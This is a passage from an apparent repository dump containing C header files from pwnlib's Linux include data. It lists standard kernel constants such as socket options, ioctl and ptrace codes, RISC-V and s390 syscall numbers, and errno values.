262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FILE 0\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 202\n#define SYS_accept4 242\n#define SYS_acct 89\n#define SYS_add_key 217\n#define SYS_adjtimex 171\n#define SYS_arch_specific_syscall 244\n#define SYS_bind 200\n#define SYS_bpf 280\n#define SYS_brk 214\n#define SYS_capget 90\n#define SYS_capset 91\n#define SYS_chdir 49\n#define SYS_chroot 51\n#define SYS_clock_adjtime 266\n#define SYS_clock_getres 114\n#define SYS_clock_gettime 113\n#define SYS_clock_nanosleep 115\n#define SYS_clock_settime 112\n#define SYS_clone 220\n#define SYS_clone3 435\n#define SYS_close 57\n#define SYS_close_range 436\n#define SYS_connect 203\n#define SYS_copy_file_range 285\n#define SYS_delete_module 106\n#define SYS_dup 23\n#define SYS_dup3 24\n#define SYS_epoll_create1 20\n#define SYS_epoll_ctl 21\n#define SYS_epoll_pwait 22\n#define SYS_epoll_pwait2 441\n#define SYS_eventfd2 19\n#define SYS_execve 221\n#define SYS_execveat 281\n#define SYS_exit 93\n#define SYS_exit_group 94\n#define SYS_faccessat 48\n#define SYS_faccessat2 439\n#define SYS_fadvise64 223\n#define SYS_fallocate 47\n#define SYS_fanotify_init 262\n#define SYS_fanotify_mark 263\n#define SYS_fchdir 50\n#define SYS_fchmod 52\n#define SYS_fchmodat 53\n#define SYS_fchown 55\n#define SYS_fchownat 54\n#define SYS_fcntl 25\n#define SYS_fdatasync 83\n#define SYS_fgetxattr 10\n#define SYS_finit_module 273\n#define SYS_flistxattr 13\n#define SYS_flock 32\n#define SYS_fremovexattr 16\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 7\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 80\n#define SYS_fstatfs 44\n#define SYS_fsync 82\n#define SYS_ftruncate 46\n#define SYS_futex 98\n#define SYS_getcpu 168\n#define SYS_getcwd 17\n#define SYS_getdents64 61\n#define SYS_getegid 177\n#define SYS_geteuid 175\n#define SYS_getgid 176\n#define SYS_getgroups 158\n#define SYS_getitimer 102\n#define SYS_get_mempolicy 236\n#define SYS_getpeername 205\n#define SYS_getpgid 155\n#define SYS_getpid 172\n#define SYS_getppid 173\n#define SYS_getpriority 141\n#define SYS_getrandom 278\n#define SYS_getresgid 150\n#define SYS_getresuid 148\n#define SYS_getrlimit 163\n#define SYS_get_robust_list 100\n#define SYS_getrusage 165\n#define SYS_getsid 156\n#define SYS_getsockname 204\n#define SYS_getsockopt 209\n#define SYS_gettid 178\n#define SYS_gettimeofday 169\n#define SYS_getuid 174\n#define SYS_getxattr 8\n#define SYS_init_module 105\n#define SYS_inotify_add_watch 27\n#define SYS_inotify_init1 26\n#define SYS_inotify_rm_watch 28\n#define SYS_io_cancel 3\n#define SYS_ioctl 29\n#define SYS_io_destroy 1\n#define SYS_io_getevents 4\n#define SYS_io_pgetevents 292\n#define SYS_ioprio_get 31\n#define SYS_ioprio_set 30\n#define SYS_io_setup 0\n#define SYS_io_submit 2\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_kcmp 272\n#define SYS_kexec_file_load 294\n#define SYS_kexec_load 104\n#define SYS_keyctl 219\n#define SYS_kill 129\n#define SYS_landlock_add_rule 445\n#define SYS_landlock_create_ruleset 444\n#define SYS_landlock_restrict_self 446\n#define SYS_lgetxattr 9\n#define SYS_linkat 37\n#define SYS_listen 201\n#define SYS_listxattr 11\n#define SYS_llistxattr 12\n#define SYS_lookup_dcookie 18\n#define SYS_lremovexattr 15\n#define SYS_lseek 62\n#define SYS_lsetxattr 6\n#define SYS_madvise 233\n#define SYS_mbind 235\n#define SYS_membarrier 283\n#define SYS_memfd_create 279\n#define SYS_migrate_pages 238\n#define SYS_mincore 232\n#define SYS_mkdirat 34\n#define SYS_mknodat 33\n#define SYS_mlock 228\n#define SYS_mlock2 284\n#define SYS_mlockall 230\n#define SYS_mmap 222\n#define SYS_mount 40\n#define SYS_mount_setattr 442\n#define SYS_move_mount 429\n#define SYS_move_pages 239\n#define SYS_mprotect 226\n#define SYS_mq_getsetattr 185\n#define SYS_mq_notify 184\n#define SYS_mq_open 180\n#define SYS_mq_timedreceive 183\n#define SYS_mq_timedsend 182\n#define SYS_mq_unlink 181\n#define SYS_mremap 216\n#define SYS_msgctl 187\n#define SYS_msgget 186\n#define SYS_msgrcv 188\n#define SYS_msgsnd 189\n#define SYS_msync 227\n#define SYS_munlock 229\n#define SYS_munlockall 231\n#define SYS_munmap 215\n#define SYS_name_to_handle_at 264\n#define SYS_nanosleep 101\n#define SYS_newfstatat 79\n#define SYS_nfsservctl 42\n#define SYS_openat 56\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 265\n#define SYS_open_tree 428\n#define SYS_perf_event_open 241\n#define SYS_personality 92\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe2 59\n#define SYS_pivot_root 41\n#define SYS_pkey_alloc 289\n#define SYS_pkey_free 290\n#define SYS_pkey_mprotect 288\n#define SYS_ppoll 73\n#define SYS_prctl 167\n#define SYS_pread64 67\n#define SYS_preadv 69\n#define SYS_preadv2 286\n#define SYS_prlimit64 261\n#define SYS_process_madvise 440\n#define SYS_process_vm_readv 270\n#define SYS_process_vm_writev 271\n#define SYS_pselect6 72\n#define SYS_ptrace 117\n#define SYS_pwrite64 68\n#define SYS_pwritev 70\n#define SYS_pwritev2 287\n#define SYS_quotactl 60\n#define SYS_read 63\n#define SYS_readahead 213\n#define SYS_readlinkat 78\n#define SYS_readv 65\n#define SYS_reboot 142\n#define SYS_recvfrom 207\n#define SYS_recvmmsg 243\n#define SYS_recvmsg 212\n#define SYS_remap_file_pages 234\n#define SYS_removexattr 14\n#define SYS_renameat2 276\n#define SYS_request_key 218\n#define SYS_restart_syscall 128\n#define SYS_riscv_flush_icache (244 + 15)\n#define SYS_rseq 293\n#define SYS_rt_sigaction 134\n#define SYS_rt_sigpending 136\n#define SYS_rt_sigprocmask 135\n#define SYS_rt_sigqueueinfo 138\n#define SYS_rt_sigreturn 139\n#define SYS_rt_sigsuspend 133\n#define SYS_rt_sigtimedwait 137\n#define SYS_rt_tgsigqueueinfo 240\n#define SYS_sched_getaffinity 123\n#define SYS_sched_getattr 275\n#define SYS_sched_getparam 121\n#define SYS_sched_get_priority_max 125\n#define SYS_sched_get_priority_min 126\n#define SYS_sched_getscheduler 120\n#define SYS_sched_rr_get_interval 127\n#define SYS_sched_setaffinity 122\n#define SYS_sched_setattr 274\n#define SYS_sched_setparam 118\n#define SYS_sched_setscheduler 119\n#define SYS_sched_yield 124\n#define SYS_seccomp 277\n#define SYS_semctl 191\n#define SYS_semget 190\n#define SYS_semop 193\n#define SYS_semtimedop 192\n#define SYS_sendfile 71\n#define SYS_sendmmsg 269\n#define SYS_sendmsg 211\n#define SYS_sendto 206\n#define SYS_setdomainname 162\n#define SYS_setfsgid 152\n#define SYS_setfsuid 151\n#define SYS_setgid 144\n#define SYS_setgroups 159\n#define SYS_sethostname 161\n#define SYS_setitimer 103\n#define SYS_set_mempolicy 237\n#define SYS_setns 268\n#define SYS_setpgid 154\n#define SYS_setpriority 140\n#define SYS_setregid 143\n#define SYS_setresgid 149\n#define SYS_setresuid 147\n#define SYS_setreuid 145\n#define SYS_setrlimit 164\n#define SYS_set_robust_list 99\n#define SYS_setsid 157\n#define SYS_setsockopt 208\n#define SYS_set_tid_address 96\n#define SYS_settimeofday 170\n#define SYS_setuid 146\n#define SYS_setxattr 5\n#define SYS_shmat 196\n#define SYS_shmctl 195\n#define SYS_shmdt 197\n#define SYS_shmget 194\n#define SYS_shutdown 210\n#define SYS_sigaltstack 132\n#define SYS_signalfd4 74\n#define SYS_socket 198\n#define SYS_socketpair 199\n#define SYS_splice 76\n#define SYS_statfs 43\n#define SYS_statx 291\n#define SYS_swapoff 225\n#define SYS_swapon 224\n#define SYS_symlinkat 36\n#define SYS_sync 81\n#define SYS_sync_file_range 84\n#define SYS_syncfs 267\n#define SYS_sysinfo 179\n#define SYS_syslog 116\n#define SYS_sysriscv 244\n#define SYS_tee 77\n#define SYS_tgkill 131\n#define SYS_timer_create 107\n#define SYS_timer_delete 111\n#define SYS_timerfd_create 85\n#define SYS_timerfd_gettime 87\n#define SYS_timerfd_settime 86\n#define SYS_timer_getoverrun 109\n#define SYS_timer_gettime 108\n#define SYS_timer_settime 110\n#define SYS_times 153\n#define SYS_tkill 130\n#define SYS_truncate 45\n#define SYS_umask 166\n#define SYS_umount2 39\n#define SYS_uname 160\n#define SYS_unlinkat 35\n#define SYS_unshare 97\n#define SYS_userfaultfd 282\n#define SYS_utimensat 88\n#define SYS_vhangup 58\n#define SYS_vmsplice 75\n#define SYS_wait4 260\n#define SYS_waitid 95\n#define SYS_write 64\n#define SYS_writev 66\n"
  },
  {
    "path": "pwnlib/data/includes/linux/s390.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_restart_syscall 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execve 11\n#define __NR_chdir 12\n#define __NR_time 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lchown 16\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_mount 21\n#define __NR_umount 22\n#define __NR_setuid 23\n#define __NR_getuid 24\n#define __NR_stime 25\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_rename 38\n#define __NR_mkdir 39\n#define __NR_rmdir 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_brk 45\n#define __NR_setgid 46\n#define __NR_getgid 47\n#define __NR_signal 48\n#define __NR_geteuid 49\n#define __NR_getegid 50\n#define __NR_acct 51\n#define __NR_umount2 52\n#define __NR_ioctl 54\n#define __NR_fcntl 55\n#define __NR_setpgid 57\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_ustat 62\n#define __NR_dup2 63\n#define __NR_getppid 64\n#define __NR_getpgrp 65\n#define __NR_setsid 66\n#define __NR_sigaction 67\n#define __NR_setreuid 70\n#define __NR_setregid 71\n#define __NR_sigsuspend 72\n#define __NR_sigpending 73\n#define __NR_sethostname 74\n#define __NR_setrlimit 75\n#define __NR_getrlimit 76\n#define __NR_getrusage 77\n#define __NR_gettimeofday 78\n#define __NR_settimeofday 79\n#define __NR_getgroups 80\n#define __NR_setgroups 81\n#define __NR_symlink 83\n#define __NR_readlink 85\n#define __NR_uselib 86\n#define __NR_swapon 87\n#define __NR_reboot 88\n#define __NR_readdir 89\n#define __NR_mmap 90\n#define __NR_munmap 91\n#define __NR_truncate 92\n#define __NR_ftruncate 93\n#define __NR_fchmod 94\n#define __NR_fchown 95\n#define __NR_getpriority 96\n#define __NR_setpriority 97\n#define __NR_statfs 99\n#define __NR_fstatfs 100\n#define __NR_ioperm 101\n#define __NR_socketcall 102\n#define __NR_syslog 103\n#define __NR_setitimer 104\n#define __NR_getitimer 105\n#define __NR_stat 106\n#define __NR_lstat 107\n#define __NR_fstat 108\n#define __NR_lookup_dcookie 110\n#define __NR_vhangup 111\n#define __NR_idle 112\n#define __NR_wait4 114\n#define __NR_swapoff 115\n#define __NR_sysinfo 116\n#define __NR_ipc 117\n#define __NR_fsync 118\n#define __NR_sigreturn 119\n#define __NR_clone 120\n#define __NR_setdomainname 121\n#define __NR_uname 122\n#define __NR_adjtimex 124\n#define __NR_mprotect 125\n#define __NR_sigprocmask 126\n#define __NR_create_module 127\n#define __NR_init_module 128\n#define __NR_delete_module 129\n#define __NR_get_kernel_syms 130\n#define __NR_quotactl 131\n#define __NR_getpgid 132\n#define __NR_fchdir 133\n#define __NR_bdflush 134\n#define __NR_sysfs 135\n#define __NR_personality 136\n#define __NR_afs_syscall 137\n#define __NR_setfsuid 138\n#define __NR_setfsgid 139\n#define __NR__llseek 140\n#define __NR_getdents 141\n#define __NR__newselect 142\n#define __NR_flock 143\n#define __NR_msync 144\n#define __NR_readv 145\n#define __NR_writev 146\n#define __NR_getsid 147\n#define __NR_fdatasync 148\n#define __NR__sysctl 149\n#define __NR_mlock 150\n#define __NR_munlock 151\n#define __NR_mlockall 152\n#define __NR_munlockall 153\n#define __NR_sched_setparam 154\n#define __NR_sched_getparam 155\n#define __NR_sched_setscheduler 156\n#define __NR_sched_getscheduler 157\n#define __NR_sched_yield 158\n#define __NR_sched_get_priority_max 159\n#define __NR_sched_get_priority_min 160\n#define __NR_sched_rr_get_interval 161\n#define __NR_nanosleep 162\n#define __NR_mremap 163\n#define __NR_setresuid 164\n#define __NR_getresuid 165\n#define __NR_query_module 167\n#define __NR_poll 168\n#define __NR_nfsservctl 169\n#define __NR_setresgid 170\n#define __NR_getresgid 171\n#define __NR_prctl 172\n#define __NR_rt_sigreturn 173\n#define __NR_rt_sigaction 174\n#define __NR_rt_sigprocmask 175\n#define __NR_rt_sigpending 176\n#define __NR_rt_sigtimedwait 177\n#define __NR_rt_sigqueueinfo 178\n#define __NR_rt_sigsuspend 179\n#define __NR_pread64 180\n#define __NR_pwrite64 181\n#define __NR_chown 182\n#define __NR_getcwd 183\n#define __NR_capget 184\n#define __NR_capset 185\n#define __NR_sigaltstack 186\n#define __NR_sendfile 187\n#define __NR_getpmsg 188\n#define __NR_putpmsg 189\n#define __NR_vfork 190\n#define __NR_ugetrlimit 191\n#define __NR_mmap2 192\n#define __NR_truncate64 193\n#define __NR_ftruncate64 194\n#define __NR_stat64 195\n#define __NR_lstat64 196\n#define __NR_fstat64 197\n#define __NR_lchown32 198\n#define __NR_getuid32 199\n#define __NR_getgid32 200\n#define __NR_geteuid32 201\n#define __NR_getegid32 202\n#define __NR_setreuid32 203\n#define __NR_setregid32 204\n#define __NR_getgroups32 205\n#define __NR_setgroups32 206\n#define __NR_fchown32 207\n#define __NR_setresuid32 208\n#define __NR_getresuid32 209\n#define __NR_setresgid32 210\n#define __NR_getresgid32 211\n#define __NR_chown32 212\n#define __NR_setuid32 213\n#define __NR_setgid32 214\n#define __NR_setfsuid32 215\n#define __NR_setfsgid32 216\n#define __NR_pivot_root 217\n#define __NR_mincore 218\n#define __NR_madvise 219\n#define __NR_getdents64 220\n#define __NR_fcntl64 221\n#define __NR_readahead 222\n#define __NR_sendfile64 223\n#define __NR_setxattr 224\n#define __NR_lsetxattr 225\n#define __NR_fsetxattr 226\n#define __NR_getxattr 227\n#define __NR_lgetxattr 228\n#define __NR_fgetxattr 229\n#define __NR_listxattr 230\n#define __NR_llistxattr 231\n#define __NR_flistxattr 232\n#define __NR_removexattr 233\n#define __NR_lremovexattr 234\n#define __NR_fremovexattr 235\n#define __NR_gettid 236\n#define __NR_tkill 237\n#define __NR_futex 238\n#define __NR_sched_setaffinity 239\n#define __NR_sched_getaffinity 240\n#define __NR_tgkill 241\n#define __NR_io_setup 243\n#define __NR_io_destroy 244\n#define __NR_io_getevents 245\n#define __NR_io_submit 246\n#define __NR_io_cancel 247\n#define __NR_exit_group 248\n#define __NR_epoll_create 249\n#define __NR_epoll_ctl 250\n#define __NR_epoll_wait 251\n#define __NR_set_tid_address 252\n#define __NR_fadvise64 253\n#define __NR_timer_create 254\n#define __NR_timer_settime (254+1)\n#define __NR_timer_gettime (254+2)\n#define __NR_timer_getoverrun (254+3)\n#define __NR_timer_delete (254+4)\n#define __NR_clock_settime (254+5)\n#define __NR_clock_gettime (254+6)\n#define __NR_clock_getres (254+7)\n#define __NR_clock_nanosleep (254+8)\n#define __NR_fadvise64_64 264\n#define __NR_statfs64 265\n#define __NR_fstatfs64 266\n#define __NR_remap_file_pages 267\n#define __NR_mbind 268\n#define __NR_get_mempolicy 269\n#define __NR_set_mempolicy 270\n#define __NR_mq_open 271\n#define __NR_mq_unlink 272\n#define __NR_mq_timedsend 273\n#define __NR_mq_timedreceive 274\n#define __NR_mq_notify 275\n#define __NR_mq_getsetattr 276\n#define __NR_kexec_load 277\n#define __NR_add_key 278\n#define __NR_request_key 279\n#define __NR_keyctl 280\n#define __NR_waitid 281\n#define __NR_ioprio_set 282\n#define __NR_ioprio_get 283\n#define __NR_inotify_init 284\n#define __NR_inotify_add_watch 285\n#define __NR_inotify_rm_watch 286\n#define __NR_migrate_pages 287\n#define __NR_openat 288\n#define __NR_mkdirat 289\n#define __NR_mknodat 290\n#define __NR_fchownat 291\n#define __NR_futimesat 292\n#define __NR_fstatat64 293\n#define __NR_unlinkat 294\n#define __NR_renameat 295\n#define __NR_linkat 296\n#define __NR_symlinkat 297\n#define __NR_readlinkat 298\n#define __NR_fchmodat 299\n#define __NR_faccessat 300\n#define __NR_pselect6 301\n#define __NR_ppoll 302\n#define __NR_unshare 303\n#define __NR_set_robust_list 304\n#define __NR_get_robust_list 305\n#define __NR_splice 306\n#define __NR_sync_file_range 307\n#define __NR_tee 308\n#define __NR_vmsplice 309\n#define __NR_move_pages 310\n#define __NR_getcpu 311\n#define __NR_epoll_pwait 312\n#define __NR_utimes 313\n#define __NR_fallocate 314\n#define __NR_utimensat 315\n#define __NR_signalfd 316\n#define __NR_timerfd 317\n#define __NR_eventfd 318\n#define __NR_timerfd_create 319\n#define __NR_timerfd_settime 320\n#define __NR_timerfd_gettime 321\n#define __NR_signalfd4 322\n#define __NR_eventfd2 323\n#define __NR_inotify_init1 324\n#define __NR_pipe2 325\n#define __NR_dup3 326\n#define __NR_epoll_create1 327\n#define __NR_preadv 328\n#define __NR_pwritev 329\n#define __NR_rt_tgsigqueueinfo 330\n#define __NR_perf_event_open 331\n#define __NR_fanotify_init 332\n#define __NR_fanotify_mark 333\n#define __NR_prlimit64 334\n#define __NR_name_to_handle_at 335\n#define __NR_open_by_handle_at 336\n#define __NR_clock_adjtime 337\n#define __NR_syncfs 338\n#define __NR_setns 339\n#define __NR_process_vm_readv 340\n#define __NR_process_vm_writev 341\n#define __NR_s390_runtime_instr 342\n#define __NR_kcmp 343\n#define __NR_finit_module 344\n#define __NR_sched_setattr 345\n#define __NR_sched_getattr 346\n#define __NR_renameat2 347\n#define __NR_seccomp 348\n#define __NR_getrandom 349\n#define __NR_memfd_create 350\n#define __NR_bpf 351\n#define __NR_s390_pci_mmio_write 352\n#define __NR_s390_pci_mmio_read 353\n#define __NR_execveat 354\n#define __NR_userfaultfd 355\n#define __NR_membarrier 356\n#define __NR_recvmmsg 357\n#define __NR_sendmmsg 358\n#define __NR_socket 359\n#define __NR_socketpair 360\n#define __NR_bind 361\n#define __NR_connect 362\n#define __NR_listen 363\n#define __NR_accept4 364\n#define __NR_getsockopt 365\n#define __NR_setsockopt 366\n#define __NR_getsockname 367\n#define __NR_getpeername 368\n#define __NR_sendto 369\n#define __NR_sendmsg 370\n#define __NR_recvfrom 371\n#define __NR_recvmsg 372\n#define __NR_shutdown 373\n#define __NR_mlock2 374\n#define __NR_copy_file_range 375\n#define __NR_preadv2 376\n#define __NR_pwritev2 377\n#define __NR_s390_guarded_storage 378\n#define __NR_statx 379\n#define __NR_s390_sthyi 380\n#define __NR_kexec_file_load 381\n#define __NR_io_pgetevents 382\n#define __NR_rseq 383\n#define __NR_pkey_mprotect 384\n#define __NR_pkey_alloc 385\n#define __NR_pkey_free 386\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_clock_gettime64 403\n#define __NR_clock_settime64 404\n#define __NR_clock_adjtime64 405\n#define __NR_clock_getres_time64 406\n#define __NR_clock_nanosleep_time64 407\n#define __NR_timer_gettime64 408\n#define __NR_timer_settime64 409\n#define __NR_timerfd_gettime64 410\n#define __NR_timerfd_settime64 411\n#define __NR_utimensat_time64 412\n#define __NR_pselect6_time64 413\n#define __NR_ppoll_time64 414\n#define __NR_io_pgetevents_time64 416\n#define __NR_recvmmsg_time64 417\n#define __NR_mq_timedsend_time64 418\n#define __NR_mq_timedreceive_time64 419\n#define __NR_semtimedop_time64 420\n#define __NR_rt_sigtimedwait_time64 421\n#define __NR_futex_time64 422\n#define __NR_sched_rr_get_interval_time64 423\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define 